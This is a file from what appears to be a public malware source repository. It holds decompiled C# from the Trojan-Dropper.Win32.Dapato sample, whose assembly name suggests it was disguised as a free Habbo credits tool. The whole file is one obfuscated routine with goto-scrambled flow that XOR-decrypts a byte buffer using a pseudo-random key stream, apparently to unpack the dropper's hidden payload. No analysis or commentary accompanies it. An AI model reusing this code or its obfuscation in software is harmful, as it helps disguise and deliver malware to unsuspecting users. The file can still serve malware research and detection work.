MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8/_0002 .cs

53 lines
1.4 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe
internal static class \u0002\u2000
{
public static byte[] \u0002(byte[] _param0, byte[] _param1)
{
int num1 = (int) _param0[1];
if (true)
goto label_9;
label_1:
int length = _param1.Length;
if (true)
goto label_10;
label_2:
int num2;
byte num3;
int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7);
if (true)
goto label_11;
label_3:
byte num5;
uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3));
ushort num7 = 0;
for (int index = 0; index < num2; ++index)
{
if ((index & 1) == 0)
{
num6 = (uint) ((int) num6 * 214013 + 2531011);
num7 = (ushort) (num6 >> 16);
}
byte num8 = (byte) num7;
num7 >>= 8;
byte num9 = _param1[index];
_param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8);
num5 = num9;
}
return _param1;
label_11:
num5 = (byte) num4;
goto label_3;
label_10:
num2 = length;
goto label_2;
label_9:
num3 = (byte) num1;
goto label_1;
}
}